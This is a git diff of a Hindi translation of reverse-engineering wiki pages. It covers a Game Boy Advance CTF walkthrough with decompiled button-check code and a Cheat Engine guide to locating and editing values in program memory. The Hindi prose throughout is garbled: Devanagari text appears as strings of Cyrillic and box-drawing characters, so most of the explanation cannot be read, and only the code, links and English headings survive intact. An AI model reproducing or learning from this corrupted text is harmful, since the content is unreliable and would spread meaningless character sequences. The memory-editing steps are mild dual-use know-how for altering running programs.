-рдпрд╣ рднреА рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдЖрдк рдЧреНрд░рд╛рдлрд┐рдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдПрдХ рдмрдЯрди рджрдмрд╛рддреЗ рд╣реИрдВ, рддреЛ рдбрд┐рдмрдЧрд░ рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд░реБрдХ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рдЙрд╕ рдмрдЯрди рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред +рдпрд╣ рднреА рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдЖрдк рдЧреНрд░рд╛рдлрд┐рдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдПрдХ рдмрдЯрди рджрдмрд╛рддреЗ рд╣реИрдВ, рддреЛ рдбрд┐рдмрдЧрд░ рдЙрд╕ рдмрдЯрди рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд░реБрдХ рдЬрд╛рдПрдЧрд╛ред ## Golang @@ -267,28 +267,28 @@ Delphi рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдХреЗ рд▓рд┐рдП рдЖрдк [https://gi рдпрд╣ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдирд╛рдореЛрдВ рдХреЛ рд╣рд▓ рдХрд░реЗрдЧрд╛ред -## рд╕рдВрдХрд▓рд┐рдд рдкрд╛рдпрдерди +## Compiled Python -рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк ELF/EXE рдкрд╛рдпрдерди рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рд╕реЗ рдкрд╛рдпрдерди рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ: +рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк ELF/EXE рдкрд╛рдпрдерди рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рд╕реЗ рдкрд╛рдпрдерди рдХреЛрдб рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдпрд╣ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## GBA - рдЧреЗрдо рдмреЙрдбреА рдПрдбрд╡рд╛рдВрд╕ +## GBA - Game Body Advance -рдпрджрд┐ рдЖрдкрдХреЛ GBA рдЧреЗрдо рдХрд╛ **рдмрд╛рдЗрдирд░реА** рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ **рдЕрдиреБрдХрд░рдг** рдФрд░ **рдбрд┐рдмрдЧ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдкрдХреЛ GBA рдЧреЗрдо рдХрд╛ **рдмрд╛рдЗрдирд░реА** рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ **рдЗрдореНрдпреВрд▓реЗрдЯ** рдФрд░ **рдбрд┐рдмрдЧ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - [**no$gba**](https://problemkaputt.de/gba.htm) (_рдбрд┐рдмрдЧ рд╕рдВрд╕реНрдХрд░рдг рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ_) - рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдбрд┐рдмрдЧрд░ рд╢рд╛рдорд┐рд▓ рд╣реИ - [**mgba** ](https://mgba.io)- CLI рдбрд┐рдмрдЧрд░ рд╢рд╛рдорд┐рд▓ рд╣реИ - [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra рдкреНрд▓рдЧрдЗрди - [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra рдкреНрд▓рдЧрдЗрди -[**no$gba**](https://problemkaputt.de/gba.htm) рдореЗрдВ, _**Options --> Emulation Setup --> Controls**_\*\* \*\* рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ Game Boy Advance **рдмрдЯрди** рдХреИрд╕реЗ рджрдмрд╛рдПрдВ +[**no$gba**](https://problemkaputt.de/gba.htm) рдореЗрдВ, _**Options --> Emulation Setup --> Controls**_** ** рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ Game Boy Advance **рдмрдЯрди** рдХреИрд╕реЗ рджрдмрд╛рдПрдВ ![](<../../images/image (581).png>) -рдЬрдм рджрдмрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкреНрд░рддреНрдпреЗрдХ **рдХреА рдХрд╛ рдПрдХ рдорд╛рди** рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХреЗ: +рдЬрдм рджрдмрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкреНрд░рддреНрдпреЗрдХ **рдХреА рдХрд╛ рдПрдХ рдорд╛рди** рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХреЗ: ``` A = 1 B = 2 @@ -307,7 +307,7 @@ L = 256 рдкрд┐рдЫрд▓реА рдЫрд╡рд┐ рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдлрд╝рдВрдХреНрд╢рди рдХреЛ **FUN_080015a8** рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдкрддреЗ: _0x080015fa_ рдФрд░ _0x080017ac_)ред -рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ, рдХреБрдЫ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рдмрд╛рдж (рдЬреЛ рдХреЛрдИ рдорд╣рддреНрд╡ рдирд╣реАрдВ рд░рдЦрддреЗ): +рдЙрд╕ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ, рдХреБрдЫ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рдмрд╛рдж (рдЬреЛ рдХрд┐рд╕реА рдорд╣рддреНрд╡ рдХреЗ рдирд╣реАрдВ рд╣реИрдВ): ```c void FUN_080015a8(void) @@ -340,7 +340,7 @@ uVar2 = DAT_030004dc; uVar1 = *puVar6; if ((uVar1 & DAT_030004da & ~uVar4) != 0) { ``` -рдЕрдВрддрд┐рдо if рдпрд╣ рдЬрд╛рдВрдЪ рд░рд╣рд╛ рд╣реИ рдХрд┐ **`uVar4`** **last Keys** рдореЗрдВ рд╣реИ рдФрд░ рд╡рд░реНрддрдорд╛рди рдХреБрдВрдЬреА рдирд╣реАрдВ рд╣реИ, рдЬрд┐рд╕реЗ рдмрдЯрди рдЫреЛрдбрд╝рдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ (рд╡рд░реНрддрдорд╛рди рдХреБрдВрдЬреА **`uVar1`** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ)ред +рдЕрдВрддрд┐рдо if рдпрд╣ рдЬрд╛рдВрдЪ рд░рд╣рд╛ рд╣реИ рдХрд┐ **`uVar4`** **last Keys** рдореЗрдВ рд╣реИ рдФрд░ рд╡рд░реНрддрдорд╛рди рдХреБрдВрдЬреА рдирд╣реАрдВ рд╣реИ, рдЬрд┐рд╕реЗ рдмрдЯрди рдЫреЛрдбрд╝рдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ (рд╡рд░реНрддрдорд╛рди рдХреБрдВрдЬреА **`uVar1`** рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ)ред ```c if (uVar1 == 4) { DAT_030000d4 = 0; @@ -368,11 +368,11 @@ FUN_08000864(); if (uVar1 == 0x10) { DAT_030000d8 = DAT_030000d8 + 0x3a; ``` -рдкрд┐рдЫрд▓реЗ рдХреЛрдб рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдо **uVar1** (рд╡рд╣ рд╕реНрдерд╛рди рдЬрд╣рд╛рдБ **рджрдмрд╛рдП рдЧрдП рдмрдЯрди рдХрд╛ рдорд╛рди** рд╣реИ) рдХреЛ рдХреБрдЫ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ: +рдкрд┐рдЫрд▓реЗ рдХреЛрдб рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдо **uVar1** (рд╡рд╣ рд╕реНрдерд╛рди рдЬрд╣рд╛рдВ **рджрдмрд╛рдП рдЧрдП рдмрдЯрди рдХрд╛ рдорд╛рди** рд╣реИ) рдХреЛ рдХреБрдЫ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ: - рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЗрд╕реЗ **рдорд╛рди 4** (**SELECT** рдмрдЯрди) рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ: рдЗрд╕ рдЪреБрдиреМрддреА рдореЗрдВ рдпрд╣ рдмрдЯрди рд╕реНрдХреНрд░реАрди рдХреЛ рд╕рд╛рдл рдХрд░рддрд╛ рд╣реИред - рдлрд┐рд░, рдЗрд╕реЗ **рдорд╛рди 8** (**START** рдмрдЯрди) рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ: рдЗрд╕ рдЪреБрдиреМрддреА рдореЗрдВ рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдб рдлреНрд▓реИрдЧ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╣реИред -- рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ var **`DAT_030000d8`** рдХреЛ 0xf3 рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдпрджрд┐ рдорд╛рди рд╕рдорд╛рди рд╣реИ рддреЛ рдХреБрдЫ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред +- рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, var **`DAT_030000d8`** рдХреЛ 0xf3 рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдпрджрд┐ рдорд╛рди рд╕рдорд╛рди рд╣реИ рддреЛ рдХреБрдЫ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред - рдХрд┐рд╕реА рдЕрдиреНрдп рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреБрдЫ cont (`DAT_030000d4`) рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рддреА рд╣реИред рдпрд╣ рдПрдХ cont рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреЛрдб рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж 1 рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИред\ **рдпрджрд┐** 8 рд╕реЗ рдХрдо рд╣реИ рддреЛ рдХреБрдЫ рдРрд╕рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ **`DAT_030000d8`** рдореЗрдВ рдорд╛рди рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ (рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ рдпрд╣ рдЗрд╕ рдЪрд░ рдореЗрдВ рджрдмрд╛рдП рдЧрдП рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рдорд╛рдиреЛрдВ рдХреЛ рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ cont 8 рд╕реЗ рдХрдо рд╣реИ)ред @@ -380,15 +380,15 @@ DAT_030000d8 = DAT_030000d8 + 0x3a; **рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЗ рд▓рд┐рдП рд╕рдВрджрд░реНрдн:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) -## Game Boy +## рдЧреЗрдо рдмреЙрдп {{#ref}} https://www.youtube.com/watch?v=VVbRe7wr3G4 {{#endref}} -## Courses +## рдкрд╛рдареНрдпрдХреНрд░рдо - [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) -- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation) +- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (рдмрд╛рдЗрдирд░реА рдбрд┐рдУрдмрдлрд╕реНрдХреЗрд╢рди) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index 4996a721d..31d83b9cf 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -9,7 +9,7 @@ ![](<../../images/image (762).png>) -рдпрд╣ рдЙрдкрдХрд░рдг **рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ рдХрд┐ рдХреБрдЫ рдорд╛рди** (рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╕рдВрдЦреНрдпрд╛) **рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рдХрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИред**\ +рдпрд╣ рдЙрдкрдХрд░рдг рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ рдХрд┐ **рдХреБрдЫ рдорд╛рди** (рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╕рдВрдЦреНрдпрд╛) **рдХрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ** рдПрдХ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдореЗрдореЛрд░реА рдореЗрдВред\ **рдЖрдорддреМрд░ рдкрд░ рд╕рдВрдЦреНрдпрд╛рдПрдБ** **4bytes** рд░реВрдк рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдк рдЙрдиреНрд╣реЗрдВ **рдбрдмрд▓** рдпрд╛ **рдлреНрд▓реЛрдЯ** рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рднреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдЖрдк рдХреБрдЫ **рд╕рдВрдЦреНрдпрд╛рдУрдВ рд╕реЗ рдЕрд▓рдЧ** рджреЗрдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдХрд╛рд░рдг рд╕реЗ, рдЖрдкрдХреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдЖрдк **рдЪреБрдиреЗрдВ** рдХрд┐ рдЖрдк **рдХреНрдпрд╛ рдЦреЛрдЬ рд░рд╣реЗ рд╣реИрдВ**: ![](<../../images/image (324).png>) @@ -18,19 +18,19 @@ ![](<../../images/image (311).png>) -рдЖрдк рдореЗрдореЛрд░реА рд╕реНрдХреИрди рдХрд░рддреЗ рд╕рдордп **рдЦреЗрд▓ рдХреЛ рд░реЛрдХрдиреЗ** рдХреЗ рд▓рд┐рдП рдмреЙрдХреНрд╕ рдХреЛ рднреА рдЪреЗрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рдореЗрдореЛрд░реА рд╕реНрдХреИрди рдХрд░рддреЗ рд╕рдордп **рдЧреЗрдо рдХреЛ рд░реЛрдХрдиреЗ** рдХреЗ рд▓рд┐рдП рдмреЙрдХреНрд╕ рдХреЛ рднреА рдЪреЗрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ![](<../../images/image (1052).png>) ### рд╣реЙрдЯрдХреАрдЬрд╝ -_**Edit --> Settings --> Hotkeys**_ рдореЗрдВ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди **рд╣реЙрдЯрдХреАрдЬрд╝** рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ **рдЦреЗрд▓ рдХреЛ рд░реЛрдХрдирд╛** (рдЬреЛ рдХрд┐ рдореЗрдореЛрд░реА рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╕рдордп рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ)ред рдЕрдиреНрдп рд╡рд┐рдХрд▓реНрдк рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: +_**Edit --> Settings --> Hotkeys**_ рдореЗрдВ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди **рд╣реЙрдЯрдХреАрдЬрд╝** рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ **рдЧреЗрдо рдХреЛ рд░реЛрдХрдирд╛** (рдЬреЛ рдХрд┐ рдореЗрдореЛрд░реА рд╕реНрдХреИрди рдХрд░рддреЗ рд╕рдордп рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ)ред рдЕрдиреНрдп рд╡рд┐рдХрд▓реНрдк рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: ![](<../../images/image (864).png>) ## рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк **рдкрд╛рддреЗ рд╣реИрдВ** рдХрд┐ **рдорд╛рди** рдЖрдк **рдЦреЛрдЬ рд░рд╣реЗ рд╣реИрдВ** (рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдЕрдЧрд▓реЗ рдЪрд░рдгреЛрдВ рдореЗрдВ) рдЖрдк рдЗрд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдбрдмрд▓ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдлрд┐рд░ рдЗрд╕рдХреЗ рдорд╛рди рдкрд░ рдбрдмрд▓ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ: +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк **рдкрд╛рддреЗ рд╣реИрдВ** рдХрд┐ **рдорд╛рди** рдЖрдк **рдЦреЛрдЬ рд░рд╣реЗ рд╣реИрдВ** (рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдЕрдЧрд▓реЗ рдЪрд░рдгреЛрдВ рдореЗрдВ) рдЖрдк рдЗрд╕реЗ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдбрдмрд▓ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдлрд┐рд░ рдЗрд╕рдХреЗ рдорд╛рди рдкрд░ рдбрдмрд▓ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ: ![](<../../images/image (563).png>) @@ -42,55 +42,55 @@ _**Edit --> Settings --> Hotkeys**_ рдореЗрдВ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рдЙ ## рдорд╛рди рдХреА рдЦреЛрдЬ -рддреЛ, рд╣рдо рдпрд╣ рдорд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдорд╛рди (рдЬреИрд╕реЗ рдЖрдкрдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЬреАрд╡рди) рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рд╕реБрдзрд╛рд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдФрд░ рдЖрдк рдЗрд╕ рдорд╛рди рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдЦреЛрдЬ рд░рд╣реЗ рд╣реИрдВ) +рддреЛ, рд╣рдо рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдорд╛рди (рдЬреИрд╕реЗ рдЖрдкрдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЬреАрд╡рди) рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рд╕реБрдзрд╛рд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдФрд░ рдЖрдк рдЗрд╕ рдорд╛рди рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдЦреЛрдЬ рд░рд╣реЗ рд╣реИрдВ) ### рдЬреНрдЮрд╛рдд рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ -рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдЖрдк рдорд╛рди 100 рдХреА рдЦреЛрдЬ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЖрдк рдЙрд╕ рдорд╛рди рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЛ рдмрд╣реБрдд рд╕рд╛рд░реА рд╕рдорд╛рдирддрд╛рдПрдБ рдорд┐рд▓рддреА рд╣реИрдВ: +рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдорд╛рди 100 рдХреА рдЦреЛрдЬ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЖрдк рдЙрд╕ рдорд╛рди рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЛ рдХрдИ рд╕рдВрдпреЛрдЧ рдорд┐рд▓рддреЗ рд╣реИрдВ: ![](<../../images/image (108).png>) -рдлрд┐рд░, рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ **рдорд╛рди рдмрджрд▓рддрд╛ рд╣реИ**, рдФрд░ рдЖрдк **рдЦреЗрд▓ рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ** рдФрд░ **рдЕрдЧрд▓реА рд╕реНрдХреИрди** рдХрд░рддреЗ рд╣реИрдВ: +рдлрд┐рд░, рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ **рдорд╛рди рдмрджрд▓рддрд╛ рд╣реИ**, рдФрд░ рдЖрдк **рдЧреЗрдо рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ** рдФрд░ **рдЕрдЧрд▓реА рд╕реНрдХреИрди** рдХрд░рддреЗ рд╣реИрдВ: ![](<../../images/image (684).png>) -Cheat Engine рдЙрди **рдорд╛рдиреЛрдВ** рдХреА рдЦреЛрдЬ рдХрд░реЗрдЧрд╛ рдЬреЛ **100 рд╕реЗ рдирдП рдорд╛рди рдореЗрдВ рдмрджрд▓ рдЧрдП**ред рдмрдзрд╛рдИ рд╣реЛ, рдЖрдкрдиреЗ **рдкрддрд╛ рд▓рдЧрд╛рдпрд╛** рдХрд┐ рдЖрдк рдЬрд┐рд╕ рдорд╛рди рдХреА рдЦреЛрдЬ рдХрд░ рд░рд╣реЗ рдереЗ рдЙрд╕рдХрд╛ **рдкрддрд╛** рдорд┐рд▓ рдЧрдпрд╛ рд╣реИ, рдЖрдк рдЕрдм рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -_рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрднреА рднреА рдХрдИ рдорд╛рди рд╣реИрдВ, рддреЛ рдЙрд╕ рдорд╛рди рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдХрд░реЗрдВ, рдФрд░ рдкрддреЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ "рдЕрдЧрд▓реА рд╕реНрдХреИрди" рдХрд░реЗрдВред_ +Cheat Engine рдЙрди **рдорд╛рдиреЛрдВ** рдХреА рдЦреЛрдЬ рдХрд░реЗрдЧрд╛ рдЬреЛ **100 рд╕реЗ рдирдП рдорд╛рди рдореЗрдВ рдмрджрд▓ рдЧрдП**ред рдмрдзрд╛рдИ рд╣реЛ, рдЖрдкрдиреЗ рдЙрд╕ **рдкрддреЗ** рдХреЛ **рдкрд╛рдпрд╛** рдЬрд┐рд╕реЗ рдЖрдк рдЦреЛрдЬ рд░рд╣реЗ рдереЗ, рдЖрдк рдЕрдм рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +_рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрднреА рднреА рдХрдИ рдорд╛рди рд╣реИрдВ, рддреЛ рдЙрд╕ рдорд╛рди рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдХрд░реЗрдВ, рдФрд░ рдкрддреЗ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ "рдЕрдЧрд▓реА рд╕реНрдХреИрди" рдХрд░реЗрдВред_ ### рдЕрдЬреНрдЮрд╛рдд рдорд╛рди, рдЬреНрдЮрд╛рдд рдкрд░рд┐рд╡рд░реНрддрди -рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдпрджрд┐ рдЖрдк **рдорд╛рди рдирд╣реАрдВ рдЬрд╛рдирддреЗ** рд▓реЗрдХрд┐рди рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ **рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ рдмрджрд▓рдирд╛ рд╣реИ** (рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдкрд░рд┐рд╡рд░реНрддрди рдХрд╛ рдорд╛рди рднреА) рддреЛ рдЖрдк рдЕрдкрдиреЗ рдирдВрдмрд░ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ 